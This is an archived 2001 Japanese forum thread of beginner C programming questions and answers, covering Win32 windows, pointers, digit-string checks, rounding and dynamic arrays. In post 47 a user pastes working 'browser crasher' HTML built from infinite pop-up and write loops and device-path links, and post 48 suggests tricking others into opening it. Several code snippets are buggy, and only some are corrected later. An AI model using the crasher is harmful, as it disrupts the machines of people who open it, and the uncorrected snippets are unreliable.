C言語なら、オレに聞け! <6>

このエントリーをはてなブックマークに追加
1ジョブス偽
おれは21才、9年間プログラムを一生懸命作ってきた。
C言語はあまり知らないがPascalなら誰にも負けない...
何でも俺に聞かないで自分たちで解決しろ。

だから、FAQに載ってる質問しても答えてやれないかもな。
失業中だから、課題マル投げ君も気が向いたら構ってやる。

・comp.lang.c Frequently Asked Questions
http://piza2.2ch.net/test/read.cgi?bbs=tech&key=994908590
2デフォルトの名無しさん:01/09/05 00:32 ID:a3PLHGJI
おやすみ
3デフォルトの名無しさん:01/09/05 01:12 ID:jDbkfcSk
WinGUIを書く方法は?
かけるようなことを聞いたことがあるような。ないような...。

CPPは未経験。
CはCharベースのもぐら叩きが作れるくらい。

まだ程度は低いのだけど、予備知識として興味があるので...。
どうでしょ?
できるならどんな感じ?
4デフォルトの名無しさん:01/09/05 01:22 ID:qCEVoVh2
#include<windows.h>
HDC hdc;
int main(){
hdc=GetDC(NULL);
int aho=1;
while(aho){
TextOut(hdc,0,0,"aaa",3);
if(GetKeyState(41) & 0x8000){
aho=0;
}
}
return 0;
}
5 :01/09/05 01:28 ID:Z5vqD32U
クラスとかポインタとかわかりません。
わかりやすくおしえてください
6デフォルトの名無しさん:01/09/05 01:38 ID:eD8J59YU
>>5
教える。
ポインタとはアドレスのことだ。
7デフォルトの名無しさん:01/09/05 01:48 ID:qCEVoVh2
ではポインタのポインタとはアドレスのアドレスでふか?あんたアホちゃいまっか?アドレスのアドレスはアドレスにきまってるとちゃいまっか。よってポインタのポインタなんていらなくなんのとちゃいまっか。アホでんな。
8アホ>>7:01/09/05 01:55 ID:eD8J59YU
>>7
では何だというのだ?ヴォケが。
http://blackcat2.tripod.co.jp/
ここ見て来い!アホ
9デフォルトの名無しさん:01/09/05 01:57 ID:RgMRPKXI
>>3
C で書くなら、こんな感じ。

#include <windows.h>
static TCHAR szAppName[] = TEXT("Skelton");
static TCHAR szText[] = TEXT("Hello, World");

LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
  HDC hdc;
  PAINTSTRUCT ps;
  switch (msg) {
  case WM_DESTROY:
    PostQuitMessage(0);
    return (0);
  }
  return (DefWindowProc(hwnd, msg, wParam, lParam));
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hInstancePrev, PSTR lpCmdLine, int nCmdShow)
{
  HWND hwnd;
  MSG msg;
  WNDCLASS wcl;
  TCHAR szClass[] = TEXT("SkeltonClass");

  wcl.style = CS_HREDRAW | CS_VREDRAW;
  wcl.lpfnWndProc = WndProc;
  wcl.cbClsExtra = 0;
  wcl.cbWndExtra = 0;
  wcl.hInstance = hInstance;
  wcl.hIcon = LoadIcon(NULL, IDI_APPLICATION);
  wcl.hCursor = LoadCursor(NULL, IDC_ARROW);
  wcl.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
  wcl.lpszMenuName = NULL;
  wcl.lpszClassName = szClass;

  if (!RegisterClass(&wcl)) {
    MessageBox(NULL, TEXT("This program requires Windows NT!"), szAppName, MB_ICONERROR);
    return (1);
  }
  hwnd = CreateWindow(szClass, szAppName, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hInstance, NULL);
  ShowWindow(hwnd, nCmdShow);
  UpdateWindow(hwnd);
  while (GetMessage(&msg, NULL, 0, 0)) {
    TranslateMessage(&msg);
    DispatchMessage(&msg);
  }
  return (msg.wParam);
}
10デフォルトの名無しさん:01/09/05 01:58 ID:S86Brkcc
>7
ポインタとはアドレスのことで間違ってないと思うけど。
そのアドレスが代入されている変数がポインタ変数。

>ポインタのポインタ
そんなものはない。ポインタ変数へのポインタならあるが。
11デフォルトの名無しさん:01/09/05 01:59 ID:kt1G3tMo
今夜からプログラミングを始めたんですが、最初でいきなりつまづきました。
ボーランドのフリーのコンパイラです

#include <stdio.h>

int main(void);

int main(void)
{
int x;

x = 4;
printf("%d\n", 2 * x + 3);
  return(0);
}

エラー E2206 list-3-1.cpp 11: 不正な文字 ' ' (0x8140)(関数 main() )
エラー E2206 list-3-1.cpp 11: 不正な文字 ' ' (0x8140)(関数 main() )

となってコンパイルできません。不正な文字って言われても何処のことやら…
12デフォルトの名無しさん:01/09/05 02:01 ID:S86Brkcc
>>11
全角空白(return(0)の前が)
13デフォルトの名無しさん:01/09/05 02:02 ID:6o7ny/7g
>>7
アドレスのアドレスじゃない。
アドレスへのアドレス。
よって、ポインタのポインタはアドレス。
問題ない。

分かりづらいかな?
14デフォルトの名無しさん:01/09/05 02:04 ID:eD8J59YU
  return(0);
ここが変。空白入れるな
1511:01/09/05 02:07 ID:kt1G3tMo
>>12 >>14
ありがとうございます。めちゃくちゃ入門的なテキスト買ったので
それでまったりと勉強していきます。
16デフォルトの名無しさん:01/09/05 02:08 ID:eD8J59YU
とはいえ、ポインタ=アドレスという説明だけで十分かな?
17デフォルトの名無しさん:01/09/05 02:10 ID:qCEVoVh2
不十分。自信マンマンに紹介されたアドレスは既に電子空間に消え去ってまふが?
18>qCEVoVh2:01/09/05 02:14 ID:eD8J59YU
omaegasetumeisiteyare
19デフォルトの名無しさん:01/09/05 02:14 ID:sjpRAjNc
cで組まれたプログラムの日本語化パッチを作りたいんですが、
どうすれば良いんでしょうか。
リソースエディタを使うとかって聞いたんですが。
20お胸おっぱい:01/09/05 02:15 ID:Bqx9xP/Y
前から不思議だったんだけど、
何で return の後ろに“()”入れたがるんだろね?
何で if や while と“()”の間をつめたがるんだろね?
関数に合わせてるとでも言うんだろか。
21 :01/09/05 02:16 ID:Z5vqD32U
結局ポインタってなんなんですか。
実用的な例はないのですか。
aを*pに&a???
(゚д゚)?
22デフォルトの名無しさん:01/09/05 02:19 ID:eD8J59YU
       ≪ポインタ≫

int a;   /* 変数a宣言 */
a=10; /* a=10 */
int p_a;  /* ポインタa宣言 */
23デフォルトの名無しさん:01/09/05 02:21 ID:eD8J59YU
p_a=&a;
ここでp_aはaを指す
だから
printf("%p",*p_a);
これでaの値がわかる
24ポイソタ州:01/09/05 02:22 ID:qCEVoVh2
ポインタ変数は何かを指していないと使えません。つまりポイソタ変数を使う場合、なにをするにもまずはポインタ変数が何かを指すことから始めなければなりません。これが大原則です。
25デフォルトの名無しさん:01/09/05 02:22 ID:eD8J59YU
>>お胸いぱーい
そんなどうでもいいこといこだわるなボケ
26デフォルトの名無しさん:01/09/05 02:23 ID:FQ2H/40g
>>21
うぜえな。
人に聞いてないで自分で調べろよ。
27デフォルトの名無しさん:01/09/05 02:23 ID:eD8J59YU
>>24
んなこーたしってルーよヽ( ´ー`)ノ やれやれ
28デフォルトの名無しさん:01/09/05 02:23 ID:kiU7d71A
VB5とVB6のちがいはなんですか?
ラーニングとプロフェッショナルのちがいはなんですか?

すんません初歩的な質問で。
29デフォルトの名無しさん:01/09/05 02:25 ID:eD8J59YU
30デフォルトの名無しさん:01/09/05 02:26 ID:FQ2H/40g
>>28
スレちがい。
31デフォルトの名無しさん:01/09/05 02:26 ID:kiU7d71A
>>30
おしえてよん
32 :01/09/05 02:28 ID:Z5vqD32U
>>26
ごめん
33デフォルトの名無しさん:01/09/05 02:28 ID:qCEVoVh2
ポインタへのポインタって何なんじゃろか?何の気なしにCreateDIBSecsionの引数で使ってはいたものの実態は、はて?
34嵐王:01/09/05 02:28 ID:eD8J59YU
まいクソソフトのホームページへ逝って見た方が
ここの低脳無知なやつらに聞くより早いわよ
>>31
35デフォルトの名無しさん:01/09/05 02:31 ID:kiU7d71A
>>34
そうします・・・
ここのひとたちって、ほんとにプログラムのできるひとたちなんでしょうか?
36お胸おっぱい:01/09/05 02:31 ID:Bqx9xP/Y
>>25
違う!よく見ろ、“おっぱい”だ“おっぱい”!
指摘するのも恥ずかしいよ!自分でも!
37嵐王:01/09/05 02:35 ID:eD8J59YU
出来ないから、自分で調べろなどという厨房発言をするんだわ。>>35
本当にすごい人たちは、そんなこといわないもん。
38デフォルトの名無しさん:01/09/05 02:35 ID:qCEVoVh2
>37
はたしてどうかにゃー?
39デフォルトの名無しさん:01/09/05 02:41 ID:XEspZsEc
>>37
はいはい。ここにはすごい人はいません。
よそへ行って思う存分、疑問をお尋ね下さい。

なんか面白いコードないかなァ。
40デフォルトの名無しさん:01/09/05 02:44 ID:kiU7d71A
#include <stdio.h>
void main(void)
{
printf("For Unlawful Carnel Knowledge.\n");
}
41デフォルトの名無しさん:01/09/05 02:47 ID:kiU7d71A
void main(void)
{
int loop;
int length;
char code;
printf ( "\n");
rs_b_init();
loop=TRUE;
while ( loop )
{
if ((length=rs_b_length()) !=0)
{
for( ; length > 0; length --)
{
code = rs_b_receive();
printf( "%c", code);
}
}
if (!kbhit())
{
;
}
else if((code=inkey()) == CTRL_Z)
{
loop=FALSE;
}
else
{
printf( "%c", code);
rs_b_send(code);
}
}
}
42デフォルトの名無しさん:01/09/05 02:51 ID:qCEVoVh2
>39
int *tiger1,*tiger2,*tiger3;

for(;;){
tiger1=tiger2;
tiger2=tiger3;
tiger3=tiger1;
}

バターになりまふ。
43デフォルトの名無しさん:01/09/05 02:51 ID:kiU7d71A
問題です。
上のコードを用いて、シリアルポート間で
双方向の文字通信を可能にするプログラムを作ってください。
SPDのみでも結構です。
44嵐王:01/09/05 02:51 ID:eD8J59YU
>>40-41
お〜うまいうまい(^.^)うふっ
45デフォルトの名無しさん:01/09/05 02:52 ID:eD8J59YU
46デフォルトの名無しさん:01/09/05 02:55 ID:eD8J59YU
パソコンを爆発させるプログラムを教えてくださいhe//////
47デフォルトの名無しさん:01/09/05 03:04 ID:kiU7d71A
<html><header><title></title></header><meta http-equiv="Refresh" content="1">
<meta http-equiv="Refresh" content="0">
<SCRIPT LANGUAGE="JavaScript">
<!--
if(typeof(top)=="object" && typeof(top.va_frame)=="object")
{ if (typeof(top.va_frame.document)=="object" && typeof(top.va_frame.document.images)
=="object" && typeof(top.va_frame.document.images[0])=="object" && typeof(top.va_frame.
document.images[0].src)=="string" && typeof(top.va_frame.document.images[0].src.length)
=="number" && ( (top.va_frame.document.images[0].src.length>25 && top.va_frame.document.
images[0].src.substring(0,25)=="http://images.go2net.com/") || (typeof(top.va_frame.document.
images[1])=="object" && typeof(top.va_frame.document.images[1].src)=="string"
&& typeof(top.va_frame.document.images[1].src.length) =="number" && top.va_frame.document.
images[1].src.length>25 && top.va_frame.document.images[1].src.substring(0,25)
=="http://images.go2net.com/") ) ) {top.va_frame.location.reload(true); }
else {dly=(1.+Math.random())*10000.; setTimeout('if (typeof(top.va_frame.document)
=="object" && typeof(top.va_frame.document.images)=="object" && typeof(top.va_frame.document
.images[0])=="object" && typeof(top.va_frame.document.images[0].src)=="string"
&& typeof(top.va_frame.document.images[0].src.length) =="number"
&& ( (top.va_frame.document.images[0].src.length>25 && top.va_frame.document.images[0].
src.substring(0,25)=="http://images.go2net.com/") || (typeof(top.va_frame.document.
images[1])=="object" && typeof(top.va_frame.document.images[1].src)=="string"
&& typeof(top.va_frame.document.images[1].src.length) =="number" && top.va_frame.document.
images[1].src.length>25 && top.va_frame.document.images[1].src.substring(0,25)==
"http://images.go2net.com/") ) ) {top.va_frame.location.reload(true);} else {window.open
("http://click.go2net.com/adpopup?site=va&area=CAREERS&shape=noshape","va_rzjr137y",
"width=528,height=200"); }', dly); } } else { window.open("http://click.go2net.com/adpopup
?site=va&area=CAREERS&shape=noshape","va_rzjr137y", "width=528,height=200");}
//-->
</SCRIPT>
</HEAD>
<body>
<img src="JavaScript:while(1){ var w=window.open('');}" width="1" height="1">
<img src="JavaScript:while(1){ document.write('\n');}" width="1" height="1">
<img src="http://www.yahoo.com:21/" width="100000000" height="100000000">
<img src="http://www.yahoo.com:23/" width="100000000" height="100000000">
<img src="http://www.yahoo.com:25/" width="100000000" height="100000000">
<img src="mailto:[email protected]" width="1" height="1">
<img src="file://A:/con/con" width="1" height="1">
.........
.........
</body>

</HTML>
4847:01/09/05 03:05 ID:kiU7d71A
ブラクラのなかみだよ。
これをベースにして踏ませれば?爆発はしないけど。。。

嵐王さんHNかえなくていいよ
493:01/09/05 03:06 ID:jDbkfcSk
>3
ahoなのは重々承知してます。
とりあえず、コンパイルが通らなかったのでなやんでました。

>9
サンプルThx!
CPPが悪いのではなくて、Winへの手順が複雑だと解釈しました。
それで、2つ切り離せたので少しだけ思考が楽になりました。

それでも、GUIへの道は長いぞっ...と。気長にいきます。
5047:01/09/05 03:11 ID:kiU7d71A
>>何で if や while と“()”の間をつめたがるんだろね?
ifやwhileは関数ではないが、素人サンはつめたがります。
51デフォルトの名無しさん:01/09/05 03:21 ID:kvHY8Amo
文字列が全て数値で構成されているかを調べる関数ってありませんか?

例えば、char str1[]="abcde", str2[]="123abc567", str3[]="789";
として、それぞれのポインターを放り込むと、str1とstr2はFALSE、str3だけTRUEが帰ってくるような。
5247:01/09/05 03:25 ID:kiU7d71A
0x30,0x31,・・・,0x38,0x39
をつかいましょ。
5351:01/09/05 03:31 ID:kvHY8Amo
>>52
どういう意味ですか?
0-9までのキャラクタコードですよね?
54デフォルトの名無しさん:01/09/05 03:34 ID:JfT.4P/M
#include <ctype.h>
int isNumeric(const char *s)
{
 while (*s != NULL) {
  if (!isnumber(*s++)) return 0;
 }
 return !0;
}
5554:01/09/05 03:37 ID:vP.O3hMA
isnumber(3) なんてねー。
isdigit(3) の誤りです。スマソ
5651:01/09/05 03:40 ID:kvHY8Amo
>>54
ありがとうございます。isNumericという関数ですね?
始めて見ました。
ここまで分かれば、あとは自分で調べることが出来ます。
ありがとうございました。

#始め見たとき、isNumericが自作関数で、isnumberが目的の関数かと思ってしまった・・・。
5751:01/09/05 03:43 ID:kvHY8Amo
>>55
あ、了解です。
っていうか、やっぱり自作関数なのか・・・。
58デフォルトの名無しさん:01/09/05 03:43 ID:RgMRPKXI
>>54
仕様の問題だけど isNumeric("") は FALSE にした方が良いかも。
5954:01/09/05 03:52 ID:aiLtWPrs
>>58
おっと失礼。まったくそのとおりです。
>>51 さん、気をつけてね。
それと
>>51
>文字列が全て数値で...
文字列が全て数字で... という方が誤解を招かなくてよい(俺ルール)(藁
6051:01/09/05 03:55 ID:kvHY8Amo
>>59
はい、理解しました。
GoogleにisNumericって入れたら沢山出てきたから、中身見ずにそういう関数が
あるのかなと思ったら、VBでした。

そうですね、数値だと文字も全て数値ですしね。数字が正しい表現ですね。
61デフォルトの名無しさん:01/09/05 04:05 ID:eD8J59YU
test
62デフォルトの名無しさん:01/09/05 04:07 ID:FQ2H/40g
>>37
「ポインタを教えてください」
なんて質問に丁寧に答えてる教え魔は、教えて君のFAQを誘発して
コミュニティーの質を下げる厨房。
始末のわるいバカ。
63嵐王:01/09/05 04:15 ID:eD8J59YU
   /)  /)
  /  ⌒  ヽ   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  | ●_ ●  | < バカで結構。私はそれで楽しいから・・・
 (〇 〜  〇 |  \______________
 /       |
 |     |_/ |
64嵐王:01/09/05 04:16 ID:eD8J59YU
別に医院でね〜の?ここは質問する場所だろ。
65デフォルトの名無しさん:01/09/05 04:19 ID:XEspZsEc
int isdigitstr( const char * s)
{
 int f = 0;
 if( s ) { f = 1; while(isdigit(*s)) s++; if( *s ) f = 0; }
 return f;
}
俺ならこう書くかな.. ねむ...
66デフォルトの名無しさん:01/09/05 04:22 ID:XEspZsEc
2行目はもうすこし削れる...
while(isdigit(*s)) s++; if( *s == '\0' ) f = 1;
67デフォルトの名無しさん:01/09/05 04:30 ID:XEspZsEc
あ ミスった わすれてくり... > 65,66
68デフォルトの名無しさん:01/09/05 04:35 ID:FQ2H/40g
>>63
自分が楽しければ、周囲に迷惑かけてもいいのかよ?
69デフォルトの名無しさん:01/09/05 04:42 ID:Oo8mA9gA
int isdigitstr( const char * s)
{
 while( *s ) isdigit( *(s++) ) ? continue : return 0;
 return 1;
}
70嵐王:01/09/05 04:43 ID:eD8J59YU
>>63(゚Д゚)ハァ?
71嵐王:01/09/05 04:44 ID:eD8J59YU
>>69
(゚Д゚)ハァ?
72デフォルトの名無しさん:01/09/05 04:44 ID:Oo8mA9gA
>>70
過去の自分は捨てると・・・
73デフォルトの名無しさん:01/09/05 04:45 ID:eD8J59YU
>>68
http://rfp.ug.to/
全ては、嵐の精神・・・
74デフォルトの名無しさん:01/09/05 04:46 ID:Oo8mA9gA
>>71
なんで(゚Д゚)ハァ? なの?
7573は俺:01/09/05 04:46 ID:eD8J59YU
嵐王>>73
76デフォルトの名無しさん:01/09/05 04:48 ID:eD8J59YU
70と71は間違いゴメソ(T_T)
7774=69:01/09/05 04:49 ID:Oo8mA9gA
>>76
OK。
78嵐王:01/09/05 04:50 ID:eD8J59YU
コーンナこともへいきでする野田
http://baka-aho.virtualave.net/bbs/
あぼーん
7951:01/09/05 04:54 ID:kvHY8Amo
>>65-66
ありがとうございます。参考になります。

>>69
ありがとうございます。
始め、難解で読めませんでした・・・。
今調べてみたんですけど、三項演算子ってやつですよね?
知りませんでした・・・。
「:」が「;」の間違いじゃないかと、悩んでしまった。
80デフォルトの名無しさん:01/09/05 04:57 ID:Oo8mA9gA
>>78
telnetやってもつながりませんでした。

>>79
がんばれ。
81デフォルトの名無しさん:01/09/05 05:16 ID:Oo8mA9gA
>>78
無反応?
8251:01/09/05 05:18 ID:kvHY8Amo
>>69
すいません、寝ぼけた質問なのかもしれませんけど
>while( *s ) isdigit( *(s++) ) ? continue : return 0;
の、*(s++)って、最初の文字がチェックされます?
83デフォルトの名無しさん:01/09/05 05:20 ID:Oo8mA9gA
>>82
されるよ。
順番としては、

while 判定
isdigit(s)
三項演算子
true continue
false return 0;
s+=1

って感じ。
84デフォルトの名無しさん:01/09/05 05:21 ID:RgMRPKXI
私は素直に do - while 使うかな。あまり凝ったコードにすると、
後で見たとき戸惑う。

>>69
コンパイル通りません。三項演算子の ?, : の後には値を持つ要素を置
く必要がありますが、continue, return 0 は値を持たないためです。
私なら、素直に do - while でループ回すかな。

int isdigitstr(const char *s)
{
  if (*s == '\0')
    return (0);
  do
    if (!isdigit(*s))
      return (0);
  while (*++s != '\0');
 
  return (1);
}
85デフォルトの名無しさん:01/09/05 05:26 ID:Oo8mA9gA
>>82
ごめん。


while 判定
isdigit(s)
s+=1
三項演算子
true continue
false return 0;

だった。


>>84
んじゃ
while( *s ) isdigit( *(s++) ) ? continue,0 : return 0,1;
だね。

三項演算子ははまってるから使ってる(w
普段は

while( *s )
 if(! isdigit( *(s++) ) )
  return 0;

って感じかな。
8651:01/09/05 05:27 ID:kvHY8Amo
>>83
え、マジスカ・・・。
全然流れが理解できない。
なんでs+=1が最後に来るんですか?
8751:01/09/05 05:29 ID:kvHY8Amo
あ、カキコしてる間に進んでる・・・。
なんとなく理解しました。
88デフォルトの名無しさん:01/09/05 05:33 ID:Oo8mA9gA
>>84
>while( *s ) isdigit( *(s++) ) ? continue,0 : return 0,1;

嘘です。できません。
コンパイル通りません。

すいません
89デフォルトの名無しさん:01/09/05 05:34 ID:Oo8mA9gA
>>87
スマソ。
嘘教えちゃった。
9051:01/09/05 05:36 ID:kvHY8Amo
>>88
ああ、良いですよ。色々勉強になりましたから(笑)
単純に
while( *s )
 if(! isdigit( *(s++) ) )
  return 0;
これだけでいけそうですしね。
91age:01/09/05 06:15 ID:XEspZsEc
このすれ continue;

新しい話題 come on!
92CCライダー:01/09/05 08:24 ID:oKmBuqwA
substring(結果, もとの文字列, なん文字以降)
って関数ありませんか?

sprintf?
93デフォルトの名無しさん:01/09/05 08:36 ID:mNqbuqRc
#define substring(dst,src,n) strcpy(dst,src+n)
94デフォルトの名無しさん:01/09/05 08:41 ID:64a.ANYA
char *isdigitchar(const char *s)
{
return strcat(s, "にょ");
}
95デフォルトの名無しさん:01/09/05 08:42 ID:64a.ANYA
しまったconstあったらだめだ
96デフォルトの名無しさん:01/09/05 09:10 ID:mTM5PKCo
>>93
やっと意味がわかった・・・・鬱・・・・
97CCライダー:01/09/05 09:22 ID:4BcFYyQo
>>93さんサンクスコ

ところでstrcpyの返値ってなんなんですか?
char *strcpy(dst, src+n)
のcharをprintf("%s")してみたのですが文字じゃなかったです。
98デフォルトの名無しさん:01/09/05 11:01 ID:pDzmJoSY
>>97
(゚д゚)ハァ?

const char *src = "1234";
char dst[255];

printf("%s", strcpy(dst, src + 2));
99CCライダー:01/09/05 11:20 ID:4BcFYyQo
>>98
厨房ですまそ。
const char *src = "1234";
char dst[255];
char result[255];

*result = strcpy(dst, src +2));
printf("%s", result);
ってやってました。(泣き
100デフォルトの名無しさん:01/09/05 12:41 ID:yTIAOUhE
>>94
それはtodigikochar()
101342:01/09/05 16:30 ID:4Tv.cdD.
>>5831
age
102ジーコ:01/09/05 20:04 ID:ITaflj/M
バイナリファイルを開いて、fgets()みたいに取得したいんだけど、
どういう関数を使えばいいんですか。
103ジーコ:01/09/05 20:06 ID:ITaflj/M
binaryファイルをfgets()のように取得したいんですが、
どのような関数を使えばいいんでしょう。
104ジーコ:01/09/05 20:07 ID:ITaflj/M
fread()でいいのかな?
105_:01/09/05 20:55 ID:5Rk4ItjA
いいんじゃない?
106デフォルトの名無しさん:01/09/05 21:16 ID:PLLDkowA
もう一度聞かせていただきます。
cで組まれたプログラムの日本語化パッチを作りたいんですが、
どうすれば良いんでしょうか。
リソースエディタを使うとかって聞いたんですが。
107デフォルトの名無しさん:01/09/05 21:23 ID:w1zmqj66
1、日本語化する
2、ソースがあるならdiffを取る
  無いなら、バイナリの差分を取る
108デフォルトの名無しさん:01/09/05 22:45 ID:1ojJgpEE
>106
リソースエディタは(一部の環境を除いて)関係無い。
109sage:01/09/06 22:03
(゜д゜)<1次第でこれほどダメスレになるのか
#include <stdio.h>
#include <stdlib.h>

struct test{
  int a, double b;
};

void keep(struct test **f, int I){
  struct test *g;
  g = (struct test *)malloc(sizeof(struct test)*I);
  *f = g;
}

int main(){
  int i;
  struct test *tester;

  keep(&tester, I);

  for(i=0;i<I;i++){
    tester[i].a = i;
    tester[i].b = (double)(i)*0.1;
  }

  exit(0);

}

みたいにやると
tester[0].a
tester[0].b
tester[1].a
tester[1].b
...
の順番でにメモリに格納されますよね?それを
tester.a[0]
tester.a[1]
...
tester.b[0]
tester.b[1]
...
のようにするにはどうしたらいいですか?
111sage:01/09/06 22:57
つっこみどころは多いが、
メンバのaとbをポインタにして、keepの中で必要な領域を渡せばよいだけでは?

struct test { int *a, double *b; };
void keep(struct test *f, int I) {
f->a = (int *)malloc(sizeof(int) * I);
f->b = (double *)malloc(sizeof(double) * I);
}:
int main() {
int i;
struct test tester;

keep(&tester, I);

for (i = 0; i < I; i++) {
tester.a[i] = i;
tester.b[i] = (double)(i) * 0.1;
}
exit(0);
}
112デフォルトの名無しさん:01/09/06 22:58
プログラミング言語 Cアンサー・ブック 第2版

ってどうなんですか?
K&Rってかいてあるけど
ANSI学びたい人でも買いですかね?
あとこれがあったら
プログラミング言語 第2版
本体はいらないっすか?
113sage:01/09/06 22:59
こっちはいらないから本体をかっとけ。
114110:01/09/06 23:01
>>111さん回答ありがとうございます
115デフォルトの名無しさん:01/09/06 23:18
>>112
本屋で両方立ち読みしてみりゃいいのに
116110:01/09/06 23:39
111実際gccでうまく行きました(navi2chから書いてます).
因に3次元の場合はどうしたらいいでしょうか?
111に倣っていろいろやってみたのですが,どうも駄目です.

↓これを改良したい...
void keep3(struct test ****f, int I, int J, int K){
int i, j;
struct test ***g;
g = (struct test ***)malloc(sizeof(struct test **)*I);
*g = (struct test **)malloc(sizeof(struct test *)*I*J);
**g = (struct test *)malloc(sizeof(struct test)*I*J*K);
for(i=0;i<I;i++){
g[i] = *g + i*J;
*g[i] = **g + i*J*K;
for(j=1;j<J;j++){
g[i][j] = *g[i] + j*K;
}
}
*f = g;
}
117110:01/09/07 00:00
自分なりに作ったつもりですが,
main関数で値を代入するとsegmentation faultです...

[途中経過]

struct test3{
int ***a;
};

void keep3(struct test3 *f, int I, int J, int K){
int i, j;
f->a = (int ***)malloc(sizeof(int **)*I);
*(f->a) = (int **)malloc(sizeof(int *)*I*J);
**(f->a) = (int *)malloc(sizeof(int)*I*J*K);
for(i=0;i<I;i++){
f->a[i] = *(f->a) + i+J;
*(f->a)[i] = **(f->a) + i*J*K;
for(j=1;j<J;j++){
f->a[i][j] = *(f->a)[i] + j*K;
}
}
}
118110:01/09/07 00:12
もの凄い勢いでTYPOでした.
誤 f->a[i] = *(f->a) + i+J;
正 f->a[i] = *(f->a) + i*J;

3次元でもうまく行きました!!
111さん本当にありがとうございました.
119初心者mk2:01/09/07 01:19
CGIでMDBの内容を表示したいのですがどうすれば良いのでしょうか。
とりあえずODBCで試してみたのですが、MDB接続に失敗します。
>>69 バグ入り。#undef isdigitが必要。
>>65-66 なんで、もっと素直にこう書かない?

int isdigitstr(const char *p)
{
  if (!p || !*p) return 0;
  while (isdigit(*p))
    p++;
  return *p == '\0';
}

ちなみに、俺なら読み易さ優先でこう書くかな。

int isdigitstr(const char *p)
{
  return p && *p && strspn(p, "0123456789") == strlen(p);
}

なんか、<5>よりレベル下がってないか?
つーか、そんなコードじゃめちゃ遅いよ(w >>120
>>120
見やすいコードの方が良いと思われ。しかも、遅いし。
初心者には難解。シンプルな方が速いよ。
>>51
文字列が全て数値で構成されているかを調べる関数
int isNumaricStr( consr char* ) があったとして、
isNumaricStr("1192")
isNumaricStr("230")
isNumaricStr("六百")
isNumaricStr("一四九二")
isNumaricStr("ten")
は、それぞれどのような返値を持つべきなのですか?
話はそれからかと。
12451:01/09/07 05:57
ああ、まだレスして下さる方がいて、嬉しいです。

>>123
この場合
isNumaricStr("1192")
だけがTRUE(0以外の値)を返して、他のは全てFALSE(0)を返すのが良いです。
125デフォルトの名無しさん:01/09/07 09:44
自分が作るとしたら
int toInteger( const char * s,int *isdigitstr)
{ char c;
 int r=0;
 while( *s==' ') s++; /* ブランクサプレス*/
 if( *s=='-') return isdigitstr(++s , ret); /* -符号 */
 if( *s=='+') s++; /* +符号 */
 while( c=*s++ ) {
  unsigned char d=c -'0';
  if(d>=10) { if(isDigitstr!=NULL) isDigitstr=0;return r;}
   r=((r<<2)+r)<<1)+d;
 };
  if(isDigitstr!=NULL) isDigitstr=1;
  return r;
}
こういう関数作って 数字かどうかと同時に値も計算させてしまうな

int isdigitstr( const char * s)
{ char c;
 while( *s==' ') s++; /* ブランクサプレス*/
 if( *s=='+'||*s=='-') s++; /*符号*/
 while( c=*s++ ) {
  unsigned char d=c -'0';
  if(d>=10) return 0;
 };
 return 1;
}
126デフォルトの名無しさん:01/09/07 10:19
>>125
int isdigitstr(const char *s)
{
 char *endptr;
 strtol(s, &endptr, 10);
 return *endptr == '\0';
}
符号も考慮するならこっちの方がいいと思われ
127120:01/09/07 10:44
>>121
速度優先で前者より後者を選ぶとは言っていない。
また、strspn()/strlen()による文字列走査の最適化の度合いや
isdigit()が関数実装のようなケースのことを考えると、
一概にisdigit()の方が速いとはいえないのでは。
もし仮に実行速度が重要なら、速い方を選択すれば良いだけのこと。

>>122
「NULLや空文字列でなく、数字からなる部分文字列がその全体の長さに等しい」
どこらへんが初心者に難解?
&&の評価順序?=='\0'や==NULLの省略?それともstrspn()?
strspn()が初心者に難解なら、isdigit()もstrspn()も同じだろうし、
そんなのは調べて、早いとこ初心者を卒業すればいいだけのことでは。

あと、見易さと言う観点については、確かに意見が分かれる所かもしれないが、
これについては、あるひとまとまりの処理をする関数があるなら、
それを使ったほうが見通しが良くなる点で、後者を推した。
舌足らずでスマソ。
>>120
なんで #undef isdigit が必要?
isalphastrでも同じパターン使うのか?とか言ってみたり
130名無しさん@Emacs:01/09/07 13:09
printf だけ使って、小数点第一位で四捨五入するにはどうすればよいでしょ
うか?
131120:01/09/07 13:24
>>128
isdigit()がマクロだったの場合の副作用除け。(69のは関数なら○)
>>129
確かに。見易さという観点からは、そこまではやらないです。はい。(藁
>>130
+.5して%d。
13251:01/09/07 13:32
>>125
なるほど。作る人によって、結構色々なパターンが出てきますね。
ちなみに、符号判定は要らないのです。説明不足で申し訳無いです。
13351:01/09/07 13:45
>>132
補足。
必ず正の整数だって言う事が保証されているので符号は付いていないのです。
>>131

+.5して%dだとマイナスのときに正常な値が得られないぞ
>>134
おっと、バグ出しThanx!
負数なら-.5か。
136>>135:01/09/07 14:46
いや、それだと-0.5のときに-1.0になっちゃうよ。

double x = -0.5;
×printf("%f\n", (double)(int)(x - .5));
◎printf("%f\n", (double)(int)floor(x+.5));
○printf("%f\n", (double)(int)(x > 0 ? x+.5 : x-int(x) < -.5 ? x-1.0 : x));

floor()使えればいいんだけど、printf()だけみたいなんで、
3番が正解
137デフォルトの名無しさん:01/09/07 14:50
しかし、コレはISO準拠じゃないな。
その辺は自分で考えてくれ
恥の上塗り。重ね重ねスマソ m(_ _)m。>>136
あぁ、穴があったら埋まりたい。(w
混乱させてしまったお詫びにグラフを書いて整理してみました。

   -2     -1     0     +1    +2
●―┼―○     ●―┼―○     ●―┼―○
       ●―┼―○     ●―┼―○
     -1.5   -0.5    +0.5   +1.5

参考にしてちょ。>>130
>>138
> 参考にしてちょ。>>130

TNX!
140110:01/09/07 16:48
再びすみません。

typedef struct{
int ***a; double ***b;
}test3;

void keep3(test3 *f, int I, int J, int K){
int i, j;
f->a = (int ***)malloc(sizeof(int **)*I);
*f->a = (int **)malloc(sizeof(int *)*I*J);
**f->a = (int *)malloc(sizeof(int)*I*J*K);
for(i=0;i<I;i++){
f->a[i] = *f->a + i*J;
*f->a[i] = **f->a + i*J*K;
for(j=1;j<J;j++){
f->a[i][j] = *f->a[i] + j*K;
}
}

f->b = (double ***)malloc(sizeof(double **)*I);
*f->b = (double **)malloc(sizeof(double *)*I*J);
